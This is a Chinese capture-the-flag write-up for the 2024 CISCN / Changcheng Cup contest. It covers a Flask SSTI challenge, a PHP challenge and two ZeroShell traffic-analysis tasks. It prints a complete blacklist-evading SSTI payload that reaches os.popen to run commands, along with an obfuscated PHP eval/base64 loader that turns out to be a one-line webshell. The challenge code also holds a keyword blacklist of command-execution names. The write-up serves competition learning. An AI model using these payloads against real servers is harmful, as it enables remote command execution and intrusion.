2024.12.15CISCN长城杯铁人三项赛
WEB
Safe_Proxy
刚开始比赛看到题目名字里面有Proxy 就先来做这个了(在最近的比赛中见到的proxy题比较多)
题目进入之后给了源码
源码
from flask import Flask, request, render_template_string
import socket
import threading
import htmlapp = Flask(__name__)@app.route('/', methods=["GET"])
def source():with open(__file__, 'r', encoding='utf-8') as f:return '<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])
def template():template_code = request.form.get("code")# 安全过滤blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']for black in blacklist:if black in template_code:return "Forbidden content detected!"result = render_template_string(template_code)print(result)return 'ok' if result is not None else 'error'class HTTPProxyHandler:def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portdef handle_request(self, client_socket):try:request_data = b""while True:chunk = client_socket.recv(4096)request_data += chunkif len(chunk) < 4096:breakif not request_data:client_socket.close()returnwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:proxy_socket.connect((self.target_host, self.target_port))proxy_socket.sendall(request_data)response_data = b""while True:chunk = proxy_socket.recv(4096)if not chunk:breakresponse_data += chunkheader_end = response_data.rfind(b"\r\n\r\n")if header_end != -1:body = response_data[header_end + 4:]else:body = response_dataresponse_body = bodyresponse = b"HTTP/1.1 200 OK\r\n" \b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \b"Content-Type: text/html; charset=utf-8\r\n" \b"\r\n" + response_bodyclient_socket.sendall(response)except Exception as e:print(f"Proxy Error: {e}")finally:client_socket.close()def start_proxy_server(host, port, target_host, target_port):proxy_handler = HTTPProxyHandler(target_host, target_port)server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_socket.bind((host, port))server_socket.listen(100)print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")try:while True:client_socket, addr = server_socket.accept()print(f"Connection from {addr}")thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))thread.daemon = Truethread.start()except KeyboardInterrupt:print("Shutting down proxy server...")finally:server_socket.close()def run_flask_app():app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":proxy_host = "0.0.0.0"proxy_port = 5001target_host = "127.0.0.1"target_port = 5000# 安全反代,防止针对响应头的攻击proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))proxy_thread.daemon = Trueproxy_thread.start()print("Starting Flask app...")run_flask_app()
当时看源码的时候 看到打开源码的方式是open(__file__, 'r', encoding='utf-8') as f
就下意识的搜了一下有没有merge
函数(怀疑可能存在原型链污染, 属于条件反射了)
看到这一块感觉应该可以用ssti进行命令执行
就在本地起了一个环境。在我的SSIT模板注入这篇文章中拿了一个其他比赛的payload
code={%set o1=(dict(o=a,s=n))|join%}{%set re=(dict(re=a,ad=n))|join%}{%set pppct=(dict(po=a,pen=n))|join%}{%set%20a=(lipsum|string|list)|attr(%27pop%27)(18)%}{%set%20glob=(a,a,(dict(glo=a,bals=b)|join),a,a)|join%}{%set gt=(a,a,(dict(geti=a,tem=n)|join),a,a)|join%}{{lipsum|attr(glob)|attr(gt)(o1)|attr(pppct)('tac fla*')|attr(re)()}}
突然间想到在题目环境可能可以对app.py进行写入操作。就拿了这个payload直接打了一下
当时就抱着试试看的心疼打了一下(毕竟代码还没看完就出了, 怎么可能)。结果真的能出
然后靠着这样写出了。(o((*^▽^*))o
)
helloweb
这个题目比赛的时候是队友Baeke写出来的,我没看。我是赛后复现的
题目环境进入之后再源码中有两个页面
双写…/绕过tips只是一个phpinfo();
hackme.php
页面是一串php代码
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
将eval
改成echo
得到的结果再将eval
改为echo
,发现是一个一句话木马
蚁剑直接连
威胁检测与网络流量分析
zeroshell_1
我打开数据包,找一个http数据包->追踪流 就是一顿看
找到了一个数据包是执行了一条命令
Referer字段base64解码后就是flag
zeroshell_2
直接拿数据包里面的payload
梭哈
在/Database/flag找到flag